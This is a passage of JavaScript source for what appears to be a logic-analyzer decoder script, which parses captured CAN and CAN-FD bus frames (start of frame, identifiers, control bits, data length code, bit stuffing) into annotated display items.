high_rate;\n\t}\n\tcatch(e)\n\t{\n\t\tspb_hs = sample_rate / 2000000;\n\t}\n\n\tm = spb / 10; \t\t\t\t\t// Margin = 1 tenth of a bit time (expresed in number of samples)\n\tm_hs = spb_hs / 10;\n\n\tvar t = trs_get_first(ch);\n\n\tchannel_color = get_ch_light_color(ch);\n\n\twhile (trs_is_not_last(ch) && (stop == false))\n\t{\n\t if (abort_requested() == true)\t\t// Allow the user to abort this script\n\t\t{\n\t\t\treturn false;\n\t\t}\n\n\t\tswitch (state)\n\t\t{\n\t\t\tcase GET_SOF:\n\n\t\t\t\twhile ((t.val != 0) && trs_is_not_last(ch))\t\t// Search for SOF\n\t\t\t\t{\n\t\t\t\t\tt = trs_get_next(ch);\n\t\t\t\t}\n\n\t\t\t\ts = t.sample + (spb * 0.5); \t\t// Position our reader on the middle of first bit\n\n\t\t\t\tbit_sampler_ini(ch,spb /2, spb); \t// Initialize the bit sampler (to be able tu use \"bit_sampler_next()\")\n\t\t\t\tbit_sampler_next(ch); \t\t\t\t// Read and skip the start bit\n\n\t\t\t\tdec_item_new(ch,t.sample,t.sample + spb - m); \t// Add the start bit item\n\t\t\t\tdec_item_add_pre_text(\"Start of Frame\");\n\t\t\t\tdec_item_add_pre_text(\"Start\");\n\t\t\t\tdec_item_add_pre_text(\"SOF\");\n\t\t\t\tdec_item_add_pre_text(\"S\");\n\n\t\t\t\tpkt_start(\"CAN\");\n\t\t\t\tpkt_add_item(-1, -1, \"SOF\", \"\", dark_colors.blue, channel_color);\n\n\t\t\t\tbits = [];\n\t\t\t\trb = 0;\n\t\t\t\tframe_length_in_sample = 0;\n\t\t\t\tb = 0; sb = 0;\n\t\t\t\tbit_pos = [];\n\t\t\t\tide_mode = false;\n\t\t\t\tdata_size = 0;\n\t\t\t\tbits.push(0); \t\t// Add the start bit to the bits table\n\t\t\t\tbit_pos.push(s); \t// Add its position\n\t\t\t\tb++;\n\t\t\t\trb++;\n\t\t\t\tframe_length_in_sample += spb;\n\t\t\t\tlast_bit = 0;\n\t\t\t\tstate = GET_ID;\n\t\t\t\trtr_mode = false;\n\t\t\t\tide_mode = false;\n\t\t\t\tedl_mode = false;\n\t\t\t\tpotential_overload = true; \t// This *may* be the beginning of an overload frame\n\n\t\t\tbreak;\n\n\t\t\tcase GET_ID:\n\n\t\t\t\twhile (true) \t// Read bits until we break\n\t\t\t\t{\n\t\t\t\t\tif (abort_requested() == true)\t// Allow the user to abort this script\n\t\t\t\t\t{\n\t\t\t\t\t\treturn false;\n\t\t\t\t\t}\n\n\t\t\t\t\tif(edl_mode && (((b==35)&&ide_mode) || ((b==16)&&!ide_mode)) )\n\t\t\t\t\t{\n\t\t\t\t\t\tbit_sampler_ini(ch,spb_hs / 2, spb_hs); \t// use High speed since now\n\t\t\t\t\t\tbit_sampler_next(ch);\n\t\t\t\t\t}\n\n\t\t\t\t\tif (sb == 4)\n\t\t\t\t\t{\n\n\t\t\t\t\t\tstuffing_ok = check_stuffing();\t\t// Stuffed bit\n\t\t\t\t\t\tif (stuffing_ok == false) break; \t// Break on the first stuffing error\n\t\t\t\t\t\tsb = 0;\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tbits[b] = bit_sampler_next(ch);\t\t// Regular bit\n\t\t\t\t\t\tif( (last_bit == 1)&&(bits[b] == 0) )\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tif(edl_mode && (((b>35)&&ide_mode) || ((b>16)&&!ide_mode)) )\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\ttrs_tmp = trs_get_prev(ch);\n\t\t\t\t\t\t\t\tframe_length_in_sample = trs_tmp.sample - s + spb_hs/2;\n\t\t\t\t\t\t\t\tbit_pos.push(trs_tmp.sample + spb_hs/2); \t\t// Store the position of that bit\n\t\t\t\t\t\t\t\tdec_item_add_sample_point(ch, trs_tmp.sample + spb_hs/2, DRAW_POINT);\n\t\t\t\t\t\t\t\tbit_sampler_ini(ch,spb_hs / 2, spb_hs);\n\t\t\t\t\t\t\t\tbit_sampler_next(ch);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t\telse\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\ttrs_tmp = trs_get_prev(ch);\n\t\t\t\t\t\t\t\tframe_length_in_sample = trs_tmp.sample - s + spb/2;\n\t\t\t\t\t\t\t\tbit_pos.push(trs_tmp.sample + spb/2); \t\t// Store the position of that bit\n\t\t\t\t\t\t\t\tdec_item_add_sample_point(ch, trs_tmp.sample + spb/2, DRAW_POINT);\n\t\t\t\t\t\t\t\tbit_sampler_ini(ch,spb / 2, spb);\n\t\t\t\t\t\t\t\tbit_sampler_next(ch);\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbit_pos.push(s + frame_length_in_sample); \t\t// Store the position of that bit\n\t\t\t\t\t\t\tdec_item_add_sample_point(ch, s + frame_length_in_sample, DRAW_POINT);\n\t\t\t\t\t\t}\n\n\n\n\t\t\t\t\t\tif (bits[b] == last_bit)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tsb++;\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tsb = 0;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tlast_bit = bits[b];\n\t\t\t\t\t\tb++;\n\t\t\t\t\t}\n\n\t\t\t\t\trb++;\n\t\t\t\t\tif(edl_mode && (((b>35)&&ide_mode) || ((b>16)&&!ide_mode)) )\n\t\t\t\t\t\tframe_length_in_sample += spb_hs;\n\t\t\t\t\telse\n\t\t\t\t\t\tframe_length_in_sample += spb;\n\n\n\t\t\t\t\tif(edl_mode && (((b==36)&&ide_mode) || ((b==17)&&!ide_mode)) )\n\t\t\t\t\t{\n\t\t\t\t\t\tbit_sampler_next(ch);\n\t\t\t\t\t\tframe_length_in_sample += spb_hs;\n\t\t\t\t\t}\n\n\t\t\t\t\tif ((b == 14) && (bits[13] == 1))\n\t\t\t\t\t{\n\t\t\t\t\t\tide_mode = true;\n\t\t\t\t\t\trtr_mode = false; \t// Reset rtr, will be checked at bit 32\n\t\t\t\t\t}\n\n\t\t\t\t\tif (ide_mode)\n\t\t\t\t\t{\n\t\t\t\t\t\tif ((b == 33) && (bits[32] == 1))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\trtr_mode = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ((b == 34) && (bits[33] == 1))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tedl_mode = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tif ((b == 13) && (bits[12] == 1))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\trtr_mode = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t\tif ((b == 15) && (bits[14] == 1))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tedl_mode = true;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\tif(edl_mode)\n\t\t\t\t\t{\n\t\t\t\t\t\tif ((ide_mode == true) && (b == 41))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif ((ide_mode == false) && (b == 22))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tif ((ide_mode == true) && (b == 39))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif ((ide_mode == false) && (b == 19))\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tbreak;\n\t\t\t\t\t\t}\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif (stuffing_ok == false)\n\t\t\t\t{\n\t\t\t\t\tt = trs_go_after(ch, bit_pos[b - 1] + (10.5 * spb));\n\t\t\t\t\tset_progress(100 * t.sample / n_samples);\n\t\t\t\t\tstate = GET_SOF;\n\t\t\t\t\tbreak;\n\t\t\t\t}\n\n\t\t\t\tif(edl_mode) //if it's CAN-FD\n\t\t\t\t{\n\t\t\t\t\t// Check if we are in normal or extended ID mode\n\t\t\t\t\tif (ide_mode == false)\t \t// Normal frame\n\t\t\t\t\t{\n\t\t\t\t\t\tval = 0;\t\t\t\t// Calculate the value of the ID\n\n\t\t\t\t\t\tfor (c = 1; c < 12; c++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tval = (val * 2) + bits[c];\n\t\t\t\t\t\t}\n\t\t\t\t\t\tdec_item_new(ch,bit_pos[1] - (0.5 * spb) + m, bit_pos[11] + (0.5 * spb) - m); \t\t// Add the ID item\n\t\t\t\t\t\tdec_item_add_pre_text(\"IDENTIFIER: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"ID: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"ID\");\n\t\t\t\t\t\tdec_item_add_data(val);\n\n\t\t\t\t\t\tif (hex_opt > 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tvar tmp_val = (val >> 8);\n\t\t\t\t\t\t\thex_add_byte(ch, -1, -1, tmp_val);\n\t\t\t\t\t\t\ttmp_val = (val & 0xFF);\n\t\t\t\t\t\t\thex_add_byte(ch, -1, -1, tmp_val);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tpkt_add_item(-1, -1, \"ID\", int_to_str_hex(val), dark_colors.green, channel_color);\n\t\t\t\t\t\tpkt_start(\"Frame Type\");\n\n\t\t\t\t\t\tdec_item_new(ch,bit_pos[12] - (0.5 * spb) + m, bit_pos[12] + (0.5 * spb) - m); \t// Add the RTR bit\n\n\t\t\t\t\t\tif (rtr_mode == true)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"RTR FRAME\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"RTR\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"R\");\n\t\t\t\t\t\t\tpkt_add_item(-1, -1, \"RTR = 1\", \"RTR FRAME\", dark_colors.green, channel_color, true);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"DATA FRAME\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"DATA\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"D\");\n\t\t\t\t\t\t\tpkt_add_item(-1, -1, \"RTR = 0\", \"DATA FRAME\", dark_colors.green, channel_color, true);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[13] - (0.5 * spb) + m, bit_pos[13] + (0.5 * spb) - m);\n\t\t\t\t\t\tdec_item_add_pre_text(\"BASE FRAME FORMAT\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"BASE FRAME\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"BASE\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"B\");\n\t\t\t\t\t\tpkt_add_item(-1, -1, \"IDE = 0\",\"BASE FRAME FORMAT\", dark_colors.green, channel_color, true);\n\t\t\t\t\t\tpkt_end();\n\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[14] - (0.5 * spb) + m, bit_pos[14] + (0.5 * spb) - m);\n\t\t\t\t\t\tdec_item_add_pre_text(\"Extended Data Length\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"EDL\");\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[15] - (0.5 * spb) + m, bit_pos[15] + (0.5 * spb) - m);\n\t\t\t\t\t\tdec_item_add_pre_text(\"r0\");\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[16] - (0.5 * spb) + m, bit_pos[16] + (0.5 * spb) - m);\n\t\t\t\t\t\tdec_item_add_pre_text(\"Bit Rate Switch\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"BRS\");\n\t\t\t\t\t\tif(!edl_mode)\n\t\t\t\t\t\t\tdec_item_new(ch, bit_pos[17] - (0.5 * spb) + m, bit_pos[17] + (0.5 * spb) - m);\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tdec_item_new(ch, bit_pos[17] - (0.5 * spb_hs) + m_hs, bit_pos[17] + (0.5 * spb_hs) - m_hs);\n\t\t\t\t\t\tdec_item_add_pre_text(\"Error State Indicator)\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"ESI\");\n\t\t\t\t\t\tval = 0;\n\n\t\t\t\t\t\tfor (c = 18; c < 22; c++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tval = (val * 2) + bits[c];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdata_size = val;\n\n\t\t\t\t\t\tif(edl_mode)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tswitch (val)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcase 0x9 : data_size = 12; crc_len=17; break;\n\t\t\t\t\t\t\tcase 0xA : data_size = 16; crc_len=17; break;\n\t\t\t\t\t\t\tcase 0xB : data_size = 20; crc_len=21; break;\n\t\t\t\t\t\t\tcase 0xC : data_size = 24; crc_len=21; break;\n\t\t\t\t\t\t\tcase 0xD : data_size = 32; crc_len=21; break;\n\t\t\t\t\t\t\tcase 0xE : data_size = 48; crc_len=21; break;\n\t\t\t\t\t\t\tcase 0xF : data_size = 64; crc_len=21; break;\n\t\t\t\t\t\t\tdefault : break;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif(!edl_mode)\n\t\t\t\t\t\t\tdec_item_new(ch,bit_pos[18] - (0.5 * spb) + m, bit_pos[21] + (0.5 * spb) - m); \t// Add the DLC item\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tdec_item_new(ch,bit_pos[18] - (0.5 * spb_hs) + m_hs, bit_pos[21] + (0.5 * spb_hs) - m_hs); \t// Add the DLC item\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LENGTH CODE: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LENGTH: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LEN: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DLC: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"L:\");\n\t\t\t\t\t\tdec_item_add_data(val);\n\n\n\n\t\t\t\t\t\tif (hex_opt > 1)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\thex_add_byte(ch, -1, -1, val);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tpkt_add_item(-1, -1, \"DLC\", int_to_str_hex(val), dark_colors.orange, channel_color, true);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tval = 0;\n\n\t\t\t\t\t\tfor (c = 1; c < 12; c++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tval = (val * 2) + bits[c];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tfor (c = 14; c < 32; c++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tval = (val * 2) + bits[c];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdec_item_new(ch,bit_pos[1] - (0.5 * spb) + m, bit_pos[31] + (0.5 * spb) - m); \t// Add the EID item\n\t\t\t\t\t\tdec_item_add_pre_text(\"EXTENDED IDENTIFIER: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"EID: \");\n\t\t\t\t\t\tdec_item_add_data(val);\n\n\t\t\t\t\t\tif (hex_opt > 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tvar tmp_val = val;\n\n\t\t\t\t\t\t\tfor (var i = 0; i < 4; i++)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tvar tmp_byte = (tmp_val & 0xFF);\n\t\t\t\t\t\t\t\thex_add_byte(ch, -1, -1, tmp_byte);\n\t\t\t\t\t\t\t\ttmp_val = (tmp_val - tmp_byte) / 256;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tpkt_add_item(-1, -1, \"EID\", int_to_str_hex(val), dark_colors.violet, channel_color);\n\t\t\t\t\t\tpkt_start(\"Frame Type\");\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[32] - (0.5 * spb) + m, bit_pos[32] + (0.5 * spb) - m); // Add the RTR bit\n\n\t\t\t\t\t\tif (rtr_mode == true)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"RTR FRAME\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"RTR\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"R\");\n\t\t\t\t\t\t\tpkt_add_item(-1, -1, \"RTR = 1\", \"RTR FRAME\", dark_colors.violet, channel_color, true);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"DATA FRAME\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"DATA\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"D\");\n\t\t\t\t\t\t\tpkt_add_item(-1, -1, \"RTR = 0\", \"DATA FRAME\", dark_colors.violet, channel_color, true);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[33] - (0.5 * spb) + m, bit_pos[33] + (0.5 * spb) - m);\n\t\t\t\t\t\tdec_item_add_pre_text(\"Extended Data Length\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"EDL\");\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[34] - (0.5 * spb) + m, bit_pos[34] + (0.5 * spb) - m);\n\t\t\t\t\t\tdec_item_add_pre_text(\"r0\");\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[35] - (0.5 * spb) + m, bit_pos[35] + (0.5 * spb) - m);\n\t\t\t\t\t\tdec_item_add_pre_text(\"Bit Rate Switch\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"BRS\");\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[36] - (0.5 * spb_hs) + m_hs, bit_pos[36] + (0.5 * spb_hs) - m_hs);\n\t\t\t\t\t\tdec_item_add_pre_text(\"Error State Indicator)\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"ESI\");\n\n\t\t\t\t\t\tpkt_add_item(0, 0, \"IDE = 1\", \"EXTENDED FRAME FORMAT\", dark_colors.violet, channel_color, true);\n\t\t\t\t\t\tpkt_end();\n\n\t\t\t\t\t\tval = 0;\n\n\t\t\t\t\t\tfor (c = 37; c < 41; c++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tval = (val * 2) + bits[c];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdata_size = val;\n\n\t\t\t\t\t\tif(edl_mode)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tswitch (val)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\tcase 0x9 : data_size = 12; crc_len=17; break;\n\t\t\t\t\t\t\tcase 0xA : data_size = 16; crc_len=17; break;\n\t\t\t\t\t\t\tcase 0xB : data_size = 20; crc_len=21; break;\n\t\t\t\t\t\t\tcase 0xC : data_size = 24; crc_len=21; break;\n\t\t\t\t\t\t\tcase 0xD : data_size = 32; crc_len=21; break;\n\t\t\t\t\t\t\tcase 0xE : data_size = 48; crc_len=21; break;\n\t\t\t\t\t\t\tcase 0xF : data_size = 64; crc_len=21; break;\n\t\t\t\t\t\t\tdefault : break;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tif(!edl_mode)\n\t\t\t\t\t\t\tdec_item_new(ch,bit_pos[37] - (0.5 * spb) + m, bit_pos[40] + (0.5 * spb) - m); \t// Add the DLC item\n\t\t\t\t\t\telse\n\t\t\t\t\t\t\tdec_item_new(ch,bit_pos[37] - (0.5 * spb_hs) + m_hs, bit_pos[40] + (0.5 * spb_hs) - m_hs); \t// Add the DLC item\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LENGTH CODE: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LENGTH: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LEN: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DLC: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"L:\");\n\t\t\t\t\t\tdec_item_add_data(val);\n\n\t\t\t\t\t\tif (hex_opt > 1)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\thex_add_byte(ch, -1, -1, val);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tpkt_add_item(t.sample, t.sample + spb - m, \"DLC\", int_to_str_hex(val), dark_colors.orange, channel_color,true);\n\t\t\t\t\t}\n\t\t\t\t}\n\t\t\t\telse\n\t\t\t\t{\n\t\t\t\t\t// Check if we are in normal or extended ID mode\n\t\t\t\t\tif (ide_mode == false)\t \t// Normal frame\n\t\t\t\t\t{\n\t\t\t\t\t\tval = 0;\t\t\t\t// Calculate the value of the ID\n\n\t\t\t\t\t\tfor (c = 1; c < 12; c++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tval = (val * 2) + bits[c];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdec_item_new(ch,bit_pos[1] - (0.5 * spb) + m, bit_pos[11] + (0.5 * spb) - m); \t\t// Add the ID item\n\t\t\t\t\t\tdec_item_add_pre_text(\"IDENTIFIER: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"ID: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"ID\");\n\t\t\t\t\t\tdec_item_add_data(val);\n\n\t\t\t\t\t\tif (hex_opt > 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tvar tmp_val = (val >> 8);\n\t\t\t\t\t\t\thex_add_byte(ch, -1, -1, tmp_val);\n\t\t\t\t\t\t\ttmp_val = (val & 0xFF);\n\t\t\t\t\t\t\thex_add_byte(ch, -1, -1, tmp_val);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tpkt_add_item(-1, -1, \"ID\", int_to_str_hex(val), dark_colors.green, channel_color);\n\t\t\t\t\t\tpkt_start(\"Frame Type\");\n\n\t\t\t\t\t\tdec_item_new(ch,bit_pos[12] - (0.5 * spb) + m, bit_pos[12] + (0.5 * spb) - m); \t// Add the RTR bit\n\n\t\t\t\t\t\tif (rtr_mode == true)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"RTR FRAME\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"RTR\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"R\");\n\t\t\t\t\t\t\tpkt_add_item(-1, -1, \"RTR = 1\", \"RTR FRAME\", dark_colors.green, channel_color, true);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"DATA FRAME\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"DATA\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"D\");\n\t\t\t\t\t\t\tpkt_add_item(-1, -1, \"RTR = 0\", \"DATA FRAME\", dark_colors.green, channel_color, true);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[13] - (0.5 * spb) + m, bit_pos[13] + (0.5 * spb) - m); \t// Add the IDE bit\n\t\t\t\t\t\tdec_item_add_pre_text(\"BASE FRAME FORMAT\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"BASE FRAME\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"BASE\");\n\t\t\t\t\t\tdec_item_add_pre_text(\"B\");\n\t\t\t\t\t\tpkt_add_item(-1, -1, \"IDE = 0\",\"BASE FRAME FORMAT\", dark_colors.green, channel_color, true);\n\t\t\t\t\t\tpkt_end();\n\n\t\t\t\t\t\tval = 0;\n\n\t\t\t\t\t\tfor (c = 15; c < 19; c++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tval = (val * 2) + bits[c];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdata_size = val;\n\n\t\t\t\t\t\tdec_item_new(ch,bit_pos[15] - (0.5 * spb) + m, bit_pos[18] + (0.5 * spb) - m); \t// Add the DLC item\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LENGTH CODE: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LENGTH: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LEN: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DLC: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"L:\");\n\t\t\t\t\t\tdec_item_add_data(val);\n\n\t\t\t\t\t\tif (hex_opt > 1)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\thex_add_byte(ch, -1, -1, val);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tpkt_add_item(-1, -1, \"DLC\", int_to_str_hex(val), dark_colors.orange, channel_color, true);\n\t\t\t\t\t}\n\t\t\t\t\telse\n\t\t\t\t\t{\n\t\t\t\t\t\tval = 0;\n\n\t\t\t\t\t\tfor (c = 1; c < 12; c++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tval = (val * 2) + bits[c];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tfor (c = 14; c < 32; c++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tval = (val * 2) + bits[c];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdec_item_new(ch,bit_pos[1] - (0.5 * spb) + m, bit_pos[31] + (0.5 * spb) - m); \t// Add the EID item\n\t\t\t\t\t\tdec_item_add_pre_text(\"EXTENDED IDENTIFIER: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"EID: \");\n\t\t\t\t\t\tdec_item_add_data(val);\n\n\t\t\t\t\t\tif (hex_opt > 0)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tvar tmp_val = val;\n\n\t\t\t\t\t\t\tfor (var i = 0; i < 4; i++)\n\t\t\t\t\t\t\t{\n\t\t\t\t\t\t\t\tvar tmp_byte = (tmp_val & 0xFF);\n\t\t\t\t\t\t\t\thex_add_byte(ch, -1, -1, tmp_byte);\n\t\t\t\t\t\t\t\ttmp_val = (tmp_val - tmp_byte) / 256;\n\t\t\t\t\t\t\t}\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tpkt_add_item(-1, -1, \"EID\", int_to_str_hex(val), dark_colors.violet, channel_color);\n\t\t\t\t\t\tpkt_start(\"Frame Type\");\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[32] - (0.5 * spb) + m, bit_pos[32] + (0.5 * spb) - m); // Add the RTR bit\n\n\t\t\t\t\t\tif (rtr_mode == true)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"RTR FRAME\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"RTR\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"R\");\n\t\t\t\t\t\t\tpkt_add_item(-1, -1, \"RTR = 1\", \"RTR FRAME\", dark_colors.violet, channel_color, true);\n\t\t\t\t\t\t}\n\t\t\t\t\t\telse\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"DATA FRAME\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"DATA\");\n\t\t\t\t\t\t\tdec_item_add_pre_text(\"D\");\n\t\t\t\t\t\t\tpkt_add_item(-1, -1, \"RTR = 0\", \"DATA FRAME\", dark_colors.violet, channel_color, true);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tpkt_add_item(0, 0, \"IDE = 1\", \"EXTENDED FRAME FORMAT\", dark_colors.violet, channel_color, true);\n\t\t\t\t\t\tpkt_end();\n\n\t\t\t\t\t\tval = 0;\n\n\t\t\t\t\t\tfor (c = 35; c < 39; c++)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\tval = (val * 2) + bits[c];\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tdata_size = val;\n\n\t\t\t\t\t\tdec_item_new(ch, bit_pos[35] - (0.5 * spb) + m, bit_pos[38] + (0.5 * spb) - m); \t// Add the DLC item\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LENGTH CODE: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LENGTH: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DATA LEN: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"DLC: \");\n\t\t\t\t\t\tdec_item_add_pre_text(\"L:\");\n\t\t\t\t\t\tdec_item_add_data(val);\n\n\t\t\t\t\t\tif (hex_opt > 1)\n\t\t\t\t\t\t{\n\t\t\t\t\t\t\thex_add_byte(ch, -1, -1, val);\n\t\t\t\t\t\t}\n\n\t\t\t\t\t\tpkt_add_item(t.sample, t.sample + spb - m, \"DLC\", int_to_str_hex(val), dark_colors.orange, channel_color,true);\n\t\t\t\t\t}\n\t\t\t\t}\n\n\t\t\t\tif (rtr_mode == false)\n\t\t\t\t{\n\t\t\t\t\tstate = GET_DATA;\n\t\t\t\t}\n\t\t\t\telse\t// Skip the data in case of RTR frame\n\t\t\t\t{\n\t\t\t\t\tstate = GET_CRC;\n\t\t\t\t}\n\n\t\t\t\tbreak;\n\n\t\t\tcase GET_DATA:\n\t\t\t\tdb = 0;\n\t\t\t\tif(edl_mode)\n\t\t\t\t{\n\t\t\t\t\tbit_sampler_ini(ch,spb_hs /2, spb_hs); \t// use High speed since 